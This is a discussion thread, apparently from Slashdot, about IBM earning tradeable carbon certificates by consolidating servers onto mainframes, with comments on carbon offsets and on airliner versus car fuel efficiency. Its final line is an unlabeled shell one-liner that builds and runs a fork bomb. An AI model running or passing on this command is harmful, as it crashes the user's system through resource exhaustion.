Move to a Mainframe, Earn Carbon Credits
BBCWatcher writes "As Slashdot reported previously, Congress is pushing the U.S. Environmental Protection Agency to develop energy efficiency measures for data centers, especially servers. But IBM is impatient: Computerworld notes IBM has signed up Neuwing Energy Ventures, a company trading in energy efficiency certificates, in a first for "green" computing. Now if your company consolidates, say, X86 servers onto an IBM mainframe on top of slashing about 85% off your electric bill each megawatt-hour saved earns one certificate. Then you can sell the certificates in emerging carbon trading markets. IBM's own consolidation project (collapsing 3,900 distributed servers onto 30 mainframes) will net certificates worth between $300K and $1M, depending on carbon's market price. Will ubiquitous carbon trading discourage energy-inefficient, distributed-style infrastructure in favor of highly virtualized and I/O-savvy environments, particularly mainframes?"
I do find it ironic that computing started out with large mainframes, and now it seems more and more likely that the majority of computing needs in the future will be met by terminals connected to mainframes via virtualization.
The whole concept of "carbon neutral" and off-setting your carbon emissions for whatever reason seams kind of lame to me. Instead of continuing to do things that cause global warming while doing other things to supposedly reduce your "carbon footprint", why not just try to eliminate or reduce the problems in the first place? It's not just individuals, it's the whole mindset of society. Instead of going for carbon-neutral server farms, why not develop cleaner alternative electricity options to power those server farms? Solar power could do a lot, but we'd rather earn carbon certificates. It just doesn't make sense.
http://www.howstuffworks.com/question192.htm This sounds like a tremendously poor miles-per-gallon rating! But consider that a 747 can carry as many as 568 people. Let's call it 500 people to take into account the fact that not all seats on most flights are occupied. A 747 is transporting 500 people 1 mile using 5 gallons of fuel. That means the plane is burning 0.01 gallons per person per mile. In other words, the plane is getting 100 miles per gallon per person! The typical car gets about 25 miles per gallon, so the 747 is much better than a car carrying one person, and compares favorably even if there are four people in the car. Not bad when you consider that the 747 is flying at 550 miles per hour (900 km/h)! Better than one person in Prius.
http://www.toyota.com/prius/ The Prius boasts an EPA-estimated combined city/highway rating of 46 miles per gallon Two or more in people in Prius will beat a 747. Or maybe not, loading up a car will cause the total miles per gallon to drop as the weight increases. Maybe you need three people in a Prius to be safe. But most cars have one person and lower mpg, so it's not like 747s are worse on average than cars.
You don't need to Google all this stuff yourself of course, you just pick the cheapest way to travel and rely on market forces to make the most energy efficient way the cheapest. Which should be true so long as oil is expensive enough to make it a non neglibable part of total costs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;